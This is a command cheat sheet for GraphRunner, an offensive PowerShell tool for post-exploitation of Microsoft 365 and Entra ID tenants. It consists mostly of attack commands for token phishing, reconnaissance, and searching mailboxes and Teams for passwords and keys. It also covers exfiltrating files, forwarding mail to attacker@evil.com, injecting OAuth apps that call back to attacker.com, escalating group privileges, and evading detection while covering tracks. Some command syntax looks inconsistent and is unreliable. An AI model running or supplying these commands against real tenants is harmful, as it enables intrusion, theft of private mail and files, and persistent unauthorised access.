GraphRunner
GraphRunner is a PowerShell tool that leverages the Microsoft Graph API for post-exploitation operations in Microsoft 365 and Entra ID environments. It enables attackers to enumerate user accounts, access sensitive data, establish persistence, and escalate privileges with valid credentials or tokens.
Installation
Sección titulada «Installation»Install GraphRunner from the official repository:
# Clone the GraphRunner repository
git clone https://github.com/dafthack/GraphRunner.git
cd GraphRunner
# Import the module (from the GraphRunner directory)
Import-Module ./GraphRunner.ps1
# Verify module is loaded
Get-Command -Module GraphRunner
Alternatively, add GraphRunner to your PowerShell modules directory for system-wide access:
# Copy module to PowerShell modules path
Copy-Item -Path ./GraphRunner -Destination "$PROFILE\..\Modules\" -Recurse
# Import from anywhere
Import-Module GraphRunner
Authentication
Sección titulada «Authentication»Device Code Flow (Token Acquisition)
Sección titulada «Device Code Flow (Token Acquisition)»Acquire tokens using device code flow, useful for phishing or obtaining user interaction:
# Acquire tokens via device code flow
Get-GraphTokens -UserAgent
# Authenticate with specific scopes
Get-GraphTokens -ClientID "1b730954-1685-4b74-9bfd-dac224daafdd"
# Output includes UserToken, RefreshToken, and metadata
Token Refresh
Sección titulada «Token Refresh»Refresh expired access tokens using refresh tokens:
# Refresh user token
Invoke-RefreshGraphTokens -RefreshToken $refreshToken -ClientID $clientID
# Refresh with custom parameters
Invoke-RefreshGraphTokens -RefreshToken $rt -Tenant "contoso.com"
Automated OAuth Flow
Sección titulada «Automated OAuth Flow»Automate OAuth authentication without manual intervention:
# Automatic OAuth flow with stored credentials
Invoke-AutoOAuthFlow -Username "user@contoso.com" -Password "P@ssw0rd"
# Use device code for interactive auth
Invoke-AutoOAuthFlow -DeviceCode -ClientID $clientID
Token Types and Scopes
Sección titulada «Token Types and Scopes»| Token Type | Scope | Use Case |
|---|---|---|
| User Token | User.Read, Mail.Read | User account operations |
| App Token | .default | Service principal permissions |
| Delegated | User.ReadWrite.All | Modify user attributes |
| Application | Application.ReadWrite.All | Manage applications |
Enumeration
Sección titulada «Enumeration»User and Group Enumeration
Sección titulada «User and Group Enumeration»Enumerate users and groups in the tenant:
# Get all users in tenant
Get-AzureADUsers -AccessToken $accessToken
# Get users with specific filter
Get-AzureADUsers -AccessToken $accessToken -Filter "startswith(userPrincipalName,'admin')"
# Get all security groups
Get-SecurityGroups -AccessToken $accessToken
# Get groups owned by specific user
Get-SecurityGroups -AccessToken $accessToken -Owner "admin@contoso.com"
Updatable Groups
Sección titulada «Updatable Groups»Identify groups that can be modified:
# Find updatable groups (where token has write permissions)
Get-UpdatableGroups -AccessToken $accessToken
# Returns groups where you have AddMember permissions
# Useful for privilege escalation via group membership
Dynamic Groups
Sección titulada «Dynamic Groups»Enumerate and analyze dynamic membership rules:
# Get all dynamic groups
Get-DynamicGroups -AccessToken $accessToken
# Extract membership rules for analysis
Get-DynamicGroups -AccessToken $accessToken | Select-Object displayName, membershipRuleProcessingState
SharePoint Site Enumeration
Sección titulada «SharePoint Site Enumeration»Discover SharePoint sites and document libraries:
# Get all SharePoint sites
Get-SharePointSites -AccessToken $accessToken
# Get specific site details
Get-SharePointSites -AccessToken $accessToken -Site "contoso.sharepoint.com"
# Enumerate document libraries
Get-SharePointSites -AccessToken $accessToken -Libraries
MFA Status Check
Sección titulada «MFA Status Check»Check which users have multi-factor authentication enabled:
# Get MFA status for all users
Get-MFAStatus -AccessToken $accessToken
# Identify users without MFA (high-value targets)
Get-MFAStatus -AccessToken $accessToken | Where-Object {$_.MFAEnabled -eq $false}
Comprehensive Reconnaissance
Sección titulada «Comprehensive Reconnaissance»Run full tenant reconnaissance:
# Comprehensive recon of entire tenant
Invoke-GraphRecon -AccessToken $accessToken -OutputFile recon.txt
# Detailed recon with specific focus areas
Invoke-GraphRecon -AccessToken $accessToken -Users -Groups -Applications -Sites -Output detailed_recon.json
Email Operations
Sección titulada «Email Operations»Search Mailbox
Sección titulada «Search Mailbox»Search user mailboxes for sensitive information:
# Search mailbox for keyword
Invoke-SearchMailbox -AccessToken $accessToken -User "target@contoso.com" -SearchQuery "password"
# Search with date range
Invoke-SearchMailbox -AccessToken $accessToken -User "target@contoso.com" -SearchQuery "confidential" -StartDate "2024-01-01" -EndDate "2024-12-31"
# Search all mailboxes (requires high privileges)
Invoke-SearchMailbox -AccessToken $accessToken -AllMailboxes -SearchQuery "financial"
Teams Message Search
Sección titulada «Teams Message Search»Search Teams messages and channels:
# Search Teams for sensitive data
Invoke-SearchTeams -AccessToken $accessToken -SearchQuery "API key"
# Search specific Teams workspace
Invoke-SearchTeams -AccessToken $accessToken -Team "Engineering" -SearchQuery "password"
# Extract messages from specific user
Invoke-SearchTeams -AccessToken $accessToken -User "target@contoso.com"
Read and Send Messages
Sección titulada «Read and Send Messages»Read user messages and send emails:
# Read recent messages from user's inbox
Get-MailboxMessages -AccessToken $accessToken -User "target@contoso.com" -Folder "Inbox" -Limit 50
# Send email on behalf of user
Send-MailboxMessage -AccessToken $accessToken -User "target@contoso.com" -To "attacker@evil.com" -Subject "Data" -Body "Sensitive data here"
# Create forwarding rule
Set-MailboxRule -AccessToken $accessToken -User "target@contoso.com" -ForwardTo "attacker@evil.com"
Data Exfiltration
Sección titulada «Data Exfiltration»SharePoint and OneDrive Access
Sección titulada «SharePoint and OneDrive Access»Download files from cloud storage:
# Search SharePoint and OneDrive for files
Invoke-SearchSharePointAndOneDrive -AccessToken $accessToken -SearchQuery "confidential"
# Download specific file
Invoke-SearchSharePointAndOneDrive -AccessToken $accessToken -FilePath "/sites/Finance/Documents/Budget.xlsx" -Download
# Enumerate all files in specific site
Invoke-SearchSharePointAndOneDrive -AccessToken $accessToken -Site "contoso.sharepoint.com" -Recursive
File Download
Sección titulada «File Download»Download sensitive files:
# Download file by path
Get-GraphFile -AccessToken $accessToken -FilePath "/drive/root/Documents/secret.docx" -OutputPath ./secret.docx
# Download multiple files
Get-GraphFile -AccessToken $accessToken -FileList @("file1.docx", "file2.xlsx") -OutputPath ./downloaded/
# Enumerate OneDrive contents
Get-GraphFile -AccessToken $accessToken -User "target@contoso.com" -OneDrive -Recursive
Teams and Channel Data Access
Sección titulada «Teams and Channel Data Access»Extract data from Teams:
# Get Teams list and channels
Get-TeamsData -AccessToken $accessToken
# Download Teams chat history
Get-TeamsData -AccessToken $accessToken -Team "Engineering" -ExportChat -OutputPath ./teams_chat.csv
# Extract Teams shared files
Get-TeamsData -AccessToken $accessToken -Team "Finance" -Files -Download
Group Chat and Direct Messages
Sección titulada «Group Chat and Direct Messages»Access Teams direct messages:
# Get direct messages
Get-TeamsDM -AccessToken $accessToken -User "target@contoso.com" -Limit 100
# Export DM thread
Get-TeamsDM -AccessToken $accessToken -Conversation "conversation-id" -Export -OutputPath ./messages.csv
Persistence
Sección titulada «Persistence»OAuth App Injection
Sección titulada «OAuth App Injection»Inject malicious OAuth applications for persistent access:
# Create and inject OAuth app
Invoke-InjectOAuthApp -AccessToken $accessToken -AppName "WindowsUpdate" -ReplyURL "https://attacker.com/callback"
# Register app with high permissions
Invoke-InjectOAuthApp -AccessToken $accessToken -AppName "GraphHelper" -ReplyURL "https://attacker.com/oauth" -Permissions "Mail.Read", "Calendar.Read", "Files.Read.All"
# Extract app credentials
Invoke-InjectOAuthApp -AccessToken $accessToken -ExistingApp "GraphHelper" -GenerateSecret
Add Application Permissions
Sección titulada «Add Application Permissions»Escalate app permissions for broader access:
# Add permissions to existing app
Add-ApplicationPermission -AccessToken $accessToken -ApplicationID $appID -Permission "User.ReadWrite.All"
# Grant admin consent for permissions
Add-ApplicationPermission -AccessToken $accessToken -ApplicationID $appID -AdminConsent -Permission "Mail.ReadWrite", "Calendar.ReadWrite"
# Add dangerous permissions for persistence
Add-ApplicationPermission -AccessToken $accessToken -ApplicationID $appID -Permission "RoleManagement.ReadWrite.Directory"
Guest User Invitation
Sección titulada «Guest User Invitation»Invite external users for persistent access:
# Invite guest user to tenant
Invite-GuestUser -AccessToken $accessToken -GuestEmail "attacker@evil.com" -Message "Join our organization"
# Invite multiple guests
Invite-GuestUser -AccessToken $accessToken -GuestList @("guest1@evil.com", "guest2@evil.com")
# Add guest to sensitive group
Invite-GuestUser -AccessToken $accessToken -GuestEmail "attacker@evil.com" -AddToGroup "Executives"
Privilege Escalation
Sección titulada «Privilege Escalation»Group Membership Manipulation
Sección titulada «Group Membership Manipulation»Add users to privileged groups:
# Add user to updatable group
Add-GroupMember -AccessToken $accessToken -GroupID $groupID -UserID $targetUserID
# Add current user to admin group
Add-GroupMember -AccessToken $accessToken -GroupID "62e90394-69f5-4237-9190-012177145e10" -UserID (Get-GraphUser -Self).id
# Bulk add members to sensitive groups
Add-GroupMember -AccessToken $accessToken -GroupID $groupID -UserList @($user1, $user2, $user3)
Exploit Dynamic Groups
Sección titulada «Exploit Dynamic Groups»Manipulate dynamic group membership rules:
# Get dynamic group rules
Get-DynamicGroupRules -AccessToken $accessToken -GroupID $groupID
# Modify user attributes to match dynamic rules
Set-UserAttribute -AccessToken $accessToken -UserID $userID -Attribute "department" -Value "Executives"
# User automatically added to group via rule update
Application Consent Abuse
Sección titulada «Application Consent Abuse»Abuse application consent grants for escalation:
# Find overprivileged applications
Get-PrivilegedApps -AccessToken $accessToken
# Grant excessive permissions to compromised app
Grant-AppConsent -AccessToken $accessToken -AppID $appID -Scope "RoleManagement.ReadWrite.Directory"
# Use app token for elevated operations
$appToken = Get-AppToken -RefreshToken $appRefresh
Add-AdminUser -AccessToken $appToken -UserID $newAdminID
Token Manipulation
Sección titulada «Token Manipulation»Extract and Manage Tokens
Sección titulada «Extract and Manage Tokens»Work with authentication tokens:
# Extract current token details
$token = Get-GraphTokens -UserAgent
$token | Select-Object -Property AccessToken, RefreshToken, Tenant, ExpiresOn
# Decode JWT token payload
Invoke-DecodeJWT -Token $token.AccessToken
# Check token permissions (scopes)
Invoke-DecodeJWT -Token $token.AccessToken | Select-Object -ExpandProperty scp
Token Refresh and Rotation
Sección titulada «Token Refresh and Rotation»Maintain token access:
# Refresh before expiration
$newToken = Invoke-RefreshGraphTokens -RefreshToken $token.RefreshToken
# Store for later use
$newToken | Export-Clixml -Path ./token.xml
# Load token for reuse
$token = Import-Clixml -Path ./token.xml
Scope Analysis
Sección titulada «Scope Analysis»Analyze available scopes:
# List all granted scopes
$token = Get-GraphTokens
Invoke-DecodeJWT -Token $token.AccessToken | Select-Object -ExpandProperty scp
# Request additional scopes
Get-GraphTokens -ClientID $clientID -Scopes "Mail.ReadWrite", "Calendar.ReadWrite.All"
Troubleshooting
Sección titulada «Troubleshooting»Common Issues
Sección titulada «Common Issues»| Issue | Cause | Solution |
|---|---|---|
| Token expired | Access token lifetime exceeded | Use refresh token with Invoke-RefreshGraphTokens |
| Access denied | Insufficient permissions | Request additional scopes or use higher-privilege account |
| Module not found | GraphRunner not imported | Import-Module ./GraphRunner.ps1 |
| Rate limited | Too many API calls | Add delays between requests, use batch operations |
| Invalid tenant | Wrong tenant ID provided | Verify tenant GUID or domain name |
Debug Mode
Sección titulada «Debug Mode»Enable verbose output:
# Enable debug output
$DebugPreference = "Continue"
# Run commands with verbose output
Get-AzureADUsers -AccessToken $accessToken -Verbose
# Capture full API responses
$DebugOutput = Invoke-GraphRecon -AccessToken $accessToken -Debug 2>&1
Token Validation
Sección titulada «Token Validation»Verify token validity before use:
# Check token expiration
$payload = Invoke-DecodeJWT -Token $accessToken
$expTime = [datetime]::UnixEpoch.AddSeconds($payload.exp)
# Validate token not expired
if ((Get-Date) -lt $expTime) { Write-Host "Token valid" }
else { Write-Host "Token expired, refresh needed" }
Best Practices
Sección titulada «Best Practices»Operational Security
Sección titulada «Operational Security»- Refresh tokens frequently to avoid detection patterns
- Use device code flow to avoid direct credential transmission
- Clear PowerShell history:
Clear-History - Remove module traces:
Remove-Module GraphRunner - Use sleep intervals between large enumeration operations
- Avoid searching all mailboxes; target specific users
Token Management
Sección titulada «Token Management»- Store tokens in memory, not disk
- Encrypt credentials with DPAPI if persistence needed
- Use separate tokens for different operations
- Revoke compromised tokens immediately
- Monitor token refresh patterns for anomalies
Stealth Techniques
Sección titulada «Stealth Techniques»- Use application permissions for silent operations
- Avoid admin notification events (Add-ApplicationPermission triggers alerts)
- Schedule operations during business hours
- Use service accounts instead of user accounts
- Clean up injected OAuth apps after exfiltration
- Remove guest users after data access
Related Tools
Sección titulada «Related Tools»| Tool | Purpose |
|---|---|
| ROADtools | Microsoft 365 enumeration and exploitation |
| AzureHound | Entra ID security and permission mapping |
| TokenTactics | Token theft and manipulation |
| AADInternals | Entra ID internal operations |
| Microburst | Azure enumeration and exploitation |
| MicroBurp | Azure Blob Storage exploitation |